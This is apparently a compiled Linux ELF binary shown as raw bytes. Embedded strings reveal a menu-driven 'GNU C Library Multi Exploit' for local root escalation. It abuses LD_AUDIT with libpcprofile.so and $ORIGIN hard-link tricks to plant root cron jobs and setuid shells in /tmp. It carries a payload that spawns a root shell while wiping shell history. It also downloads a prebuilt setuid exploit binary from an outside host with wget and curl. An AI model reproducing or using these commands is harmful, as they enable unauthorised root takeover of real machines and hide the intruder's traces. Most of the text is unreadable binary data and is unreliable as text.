ELFЄ4$'4 ($!444444   (0   HHH QtdRtd   /lib/ld-linux.so.2GNU     K Ke_D28R>Y)̐__gmon_start__libc.so.6_IO_stdin_used_IO_putcfopenchdirfputcfclosesystemfwritesleepscanf__libc_start_mainGLIBC_2.1GLIBC_2.0ii wii    $ ( US[,ta| X[5%%h%h%h% h%h %h(%h0%h8p% h@`%$hHP%(hP@1^PTRhh QVhGUS=4u@8-X9sB889r4[]Ív'Utt $ÐL$qUQ$$А${$Аo$Аc$W$K$@?$p3$'$$$Б$$$$L$p$ED$$E$$D$$E}u)$g$[$O E$o$3D$,$._EED$ D$D$$4YED$ D$ D$$H6ED$ D$ D$$UED$ D$ D$$aED$ D$D$$mED$ D$"D$$ED$ D$D$$ED$ D$D$$œdED$ D$D$$AED$ D$D$$ED$ D$MD$$ ED$ D$D$$nED$ D$ D$$E$z$>$2$Ĕ&$$#$9$L$$ҕ$R$$$ ~E,$$D$$E}u)$\$P$DE$d$($D$$$ҕ$$`D$$ E}u)$$$o$$$vFE$$MD$,$IyEED$ D$)D$$TsED$ D$D$$~PED$ D$ D$$U-ED$ D$ D$$a ED$ D$D$$nED$ D$D$$ED$$ E$v$$.D$,$ZEED$ D$ D$$TED$ D$D$$1ED$ D$*D$$ȗED$ D$D$$ED$ D$D$$ED$ D$4D$$0ED$ D$D$$eED$ D$ D$$_ED$$"|ED$$\iED$$$6ED$ D$D$$E$$$ҕ$t$ɘh8E$$?D$,$kEED$ D$ D$$eED$ D$D$$ܘBED$ D$(D$$ED$ D$D$$!ED$ D$D$$:ED$ D$-D$$XED$ D$4D$$ED$ D$D$$pED$ D$ D$$MED$$"jED$$\WED$$$$ED$ D$D$$E$$z$ҕn$b$ɘV)$H$̙<$0$Y]aÐU]Ít&'UWVSO )t$1ED$E D$E$9rރ [^_]Ë$ÐUS t fЋu[]ÐUS[</dev/nullrm -rf /tmp/isk&>/dev/nullecho " "echo "**** GNU C Library Multi Exploit ****"echo "**** (C) The KabuS ****"echo "**** Mavi1.Org ****"echo "*************************************"echo "-------------------------------------"echo "1 > By Linker LD_AUDIT..."echo "2 > By Linker LD_AUDIT (2)..."echo "3 > By Linker \$ORIGIN..."echo "4 > By Linker \$ORIGIN (Compiled)..."echo "Select : "%d/tmpcp /etc/cron.d/exploit /tmp/3xp&>/dev/nullr/tmp/3xpecho "*** ERROR: System Not Vulnerable :( ***"echo > gnu.cwgnu.c#include int main(){ setuid(0); setgid(0); system("TERM=linux"); system("BASH_HISTORY=/dev/null"); system("HISTORY=/dev/null"); system("history=/dev/null"); system("HISTFILE=/dev/null"); system("HISTFILESIZE=0"); system("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin"); system("/bin/sh -i"); return 0;} umask 0dpkg -S /lib/libpcprofile.so&>/dev/nullLD_AUDIT="libpcprofile.so&>/dev/null"PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping&>/dev/nullgcc gnu.c -o /tmp/kisrm -rf /tmp/gnu.cprintf "* * * * * root chown root /tmp/kis;chgrp root /tmp/kis;chmod +x+s /tmp/kis " > /etc/cron.d/exploitrm -rf /tmp/3xp&>/dev/nullecho "Please Wait..."echo "Good Luck ;)"ls -l /tmp/kisecho "### If mod = root root go '/tmp/kis' file ###"LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping&>/dev/nullprintf "* * * * * root cp /bin/dash /tmp/isk; chmod u+s /tmp/isk " > /etc/cron.d/exploit&>/dev/null/tmp/iskls -l /tmp/iskecho "### If mod = root root go '/tmp/isk' file ###"/tmp/gnu.cvoid __attribute__((constructor)) init() { } echo > kis.sh/tmp/kis.sh#!/bin/bash mkdir /tmp/kabus&>/dev/null ln /bin/ping /tmp/kabus/target&>/dev/null exec 3< /tmp/kabus/target rm -rf /tmp/kabus/&>/dev/null gcc -w -fPIC -shared -o /tmp/kabus gnu.c&>/dev/null rm -r /tmp/gnu.c&>/dev/null LD_AUDIT=ORIGIN" exec /proc/self/fd/3 chmod 777 /tmp/kis.sh./kis.shrm -rf /tmp/kis.shmkdir /tmp/3xp&>/dev/null ln /bin/ping /tmp/3xp/target&>/dev/null exec 3< /tmp/3xp/target rm -rf /tmp/3xp/&>/dev/null wget nolimit.fi/includes/_pvt/3xp&>/dev/null curl -o 3xp nolimit.fi/includes/_pvt/3xp&>/dev/null chmod u+s 3xp echo "**** Wrong Selection ****" ؃ hoЁ XxoHoo, .>N^n~GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2$؃"$2Đ!u_IO_stdin_usedO B=int8)̐OK'/build/buildd/glibc-2.8~20080505/build-tree/i386-libc/csu/crti.S/build/buildd/glibc-2.8~20080505/build-tree/glibc-20080505/csuGNU AS 2.18.93p] /tmp/ccPssJzP.s/build/buildd/glibc-2.8~20080505/build-tree/glibc-20080505/csuGNU AS 2.18.93% $ > $ > $ > 4: ; I?  &IU%U%# init.cx /build/buildd/glibc-2.8~20080505/build-tree/i386-libc/csu../sysdeps/genericcrti.Sinitfini.c؃!/!=Z!gg//!/!=Z!P& /tmpccPssJzP.s!!!Đ-!!!GNU C 4.3.2short unsigned intshort int_IO_stdin_usedlong long unsigned int/build/buildd/glibc-2.8~20080505/build-tree/glibc-20080505/csuunsigned charinit.clong long int؃ĐȐ.symtab.strtab.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_str.debug_ranges44#HH 5hhH1o ; ЁCKo,,XoHH0g xxp X y؃0tЄ Ȑ%     8,, 44 4 8!P!%!S#o#. 0$+%@%9, #6 14HhЁ,Hx  ؃  Є Ȑ  ,4  ,:G ]4l8z`     ,  )Є 0 ? SȐZ`r̐,0 Z ,48IZ<_s4zz   ؃ init.cinitfini.ccrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6625dtor_idx.6627frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxaudit.c_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_start__libc_csu_fini_start__gmon_start___Jv_RegisterClasses_fp_hw_finisystem@@GLIBC_2.0__libc_start_main@@GLIBC_2.0_IO_stdin_usedscanf@@GLIBC_2.0__data_startfclose@@GLIBC_2.1fopen@@GLIBC_2.1__dso_handle__DTOR_END____libc_csu_initchdir@@GLIBC_2.0fwrite@@GLIBC_2.0__bss_startfputc@@GLIBC_2.0sleep@@GLIBC_2.0_end_IO_putc@@GLIBC_2.0_edata__i686.get_pc_thunk.bxmain_init